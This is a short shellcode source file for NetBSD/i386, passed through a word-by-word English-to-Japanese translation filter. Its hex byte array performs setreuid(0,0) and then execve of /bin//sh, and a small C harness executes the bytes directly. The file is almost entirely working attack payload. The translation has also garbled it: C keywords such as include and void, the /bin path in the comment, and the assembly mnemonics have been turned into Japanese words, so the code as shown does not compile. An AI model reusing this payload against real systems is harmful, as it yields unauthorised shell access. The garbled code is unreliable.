このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
/* * minervini at neuralnoise dot com (c) 2005 * NetBSD/i386 2.0, setreuid(0, 0); execve("/貯蔵所//sh", ..., NULL); * 公式文書,認める: 危険な shellcode, but 29 bytes long; * doesn't work if (eax & 0x40000000) != 0; */ #含む "sys/types.h" #含む "stdio.h" #含む "string.h" char scode[] = "\x99" // cltd "\x52" // 押し進める %edx "\x52" // 押し進める %edx "\x52" // 押し進める %edx "\x6a\x7e" // 押し進める $0x7e "\x58" // pop %eax "\xcd\x80" // int $0x80 "\x68\x2f\x2f\x73\x68" // 押し進める $0x68732f2f "\x68\x2f\x62\x69\x6e" // 押し進める $0x6e69622f "\x89\xe3" // mov %esp,%ebx "\x52" // 押し進める %edx "\x54" // 押し進める %esp "\x53" // 押し進める %ebx "\x52" // 押し進める %edx "\x34\x3b" // xor $0x3b,%al "\xcd\x80"; // int $0x80 int main() { 無効の (*code) () = (無効の *) scode; printf("length: %d\n", strlen(scode)); code(); return (0); }